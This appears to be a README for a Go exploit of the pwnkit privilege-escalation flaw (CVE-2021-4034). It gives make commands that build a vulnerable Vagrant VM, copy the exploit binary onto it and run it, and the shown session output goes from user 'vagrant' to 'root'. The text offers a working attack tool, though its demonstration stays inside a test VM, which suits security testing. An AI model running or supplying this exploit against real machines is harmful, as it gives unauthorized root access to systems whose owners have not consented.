This is a working exploit for the pwnkit vulnerability, CVE-2021-4034, written in Go
Give it a try:
# create a vulnerable vagrant machine
$ make vm
...
# build the binary and scp it to the vagrant box
$ make scp
# ssh onto the vagrant box
$ make ssh
# The default user is "vagrant"
vagrant@ubuntu-focal:~$ whoami
vagrant
# execute exploit
vagrant@ubuntu-focal:/tmp$ cd /tmp && ./pwnkit-go
$ whoami
root